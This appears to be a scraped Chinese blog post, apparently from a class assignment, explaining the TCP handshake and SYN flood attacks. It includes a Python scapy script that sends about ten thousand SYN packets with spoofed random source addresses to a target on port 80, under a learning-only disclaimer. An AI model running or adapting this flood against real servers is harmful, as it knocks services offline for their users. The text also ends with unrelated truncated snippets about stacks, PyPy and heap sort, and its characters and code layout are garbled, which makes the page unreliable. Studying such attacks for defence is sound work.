作業裡的**,直接這裡copy在這裡記錄一下。
在tcp/ip協議中,當客戶端試著與伺服器間建立tcp連線時,正常情況下客戶端與伺服器端進行tcp三次握手:
1. 客戶端通過傳送syn同步(synchronize)資訊到伺服器要求建立連線。
2. 伺服器通過響應客戶端syn-ack以抄收(acknowledge)請求。
3. 客戶端答應ack,連線隨之建立。
當開放了乙個tcp埠後,該埠就處於listening狀態,不停地監視發到該埠的syn報文,一 旦接收到client發來的syn報文,就需要為該請求分配乙個tcb(transmission control block),通常乙個tcb至少需要280個位元組,在某些作業系統中tcb甚至需要1300個位元組,並返回乙個syn ack命令,立即轉為syn-received即半開連線狀態,而某些作業系統在sock的實現上最多可開啟512個半開連線。如果惡意的向某個伺服器端口傳送大量的syn包,則可以使伺服器開啟大量的半開連線,分配tcb,從而消耗大量的伺服器資源,同時也使得正常的連線請求無法被相應。而攻擊發起方的資源消耗相比較可忽略不計。
本**中發了一萬個syn包,源ip位址是從10.200.101.3到255(可根據需要更改)隨機選取的,源埠在49512到65535範圍內,目標ip為10.200.101.2,目標埠為80。
以上資訊都可以根據實際需求更改。
此**僅供交流和學習,請勿用於攻擊他人和商業行為,違者後果自負。
python**:
# author: quarter26
from
scapy.all
import*
import random
for i in
range(0,9999):
random_ip=
'10.'
+'200.'
+'101.'
+str(random.randrange(0,255))
random_sport=random.randrange(49512,65535)
ip=ip(src
=random_ip, dst
='10.200.101.2')
pkt=tcp(sport
=random_sport, dport
=80, flags
='s', seq
=11111)
synpacket=(ip/pkt)
send(synpacket)
用python實現棧 Python實現棧的方法
usr bin env python 定義乙個列表來模擬棧 stack def pu 出棧,用到了pop 函式 def popit if len stack 0 print cannot pop from an empty stack else print removed stack.pop 編歷棧...
pypy 用python實現的python
pypy 分為兩部分 乙個 python 的實現 和 乙個編譯器 pypy provides infrastructure for building interpreters in r python.this infrastructure makes it much easier than star...
用python實現堆排序
一 概念 將剩餘的堆繼續調整為最大堆,具體過程在第二塊有介紹,以遞迴實現 剩餘部分調整為最大堆後,再次將堆頂的最大數取出,再將剩餘部分調整為最大堆,這個過程持續到剩餘數只有乙個時結束 coding utf 8 author alex li import time,random defsift dow...